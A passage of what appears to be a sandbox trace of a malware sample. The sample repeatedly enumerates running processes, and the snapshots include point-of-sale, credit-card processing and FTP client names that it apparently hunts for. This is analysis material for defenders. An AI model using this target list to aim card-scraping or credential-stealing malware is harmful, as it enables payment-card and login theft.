th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0239.705] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0239.758] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0239.761] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0239.763] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0239.764] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0239.766] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0239.768] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0239.770] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0239.772] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0239.774] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0239.775] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0239.777] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0239.779] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0239.780] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0239.782] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0239.784] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0239.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0239.787] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0239.790] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.834] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0239.836] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0239.839] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.841] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0239.843] CloseHandle (hObject=0x13b0) returned 1 [0239.843] Sleep (dwMilliseconds=0x64) [0239.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0239.898] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.900] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.902] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.904] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.969] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.971] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.974] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.976] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.980] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.982] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.984] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.986] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.988] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.990] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.992] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.994] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.044] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0240.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0240.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.055] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0240.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0240.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0240.062] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0240.064] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0240.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0240.069] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0240.071] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0240.131] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0240.133] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0240.135] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0240.137] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0240.139] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0240.140] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0240.142] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0240.145] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0240.147] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0240.149] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0240.151] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0240.153] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0240.155] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0240.157] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0240.159] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0240.161] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0240.163] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0240.165] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0240.207] 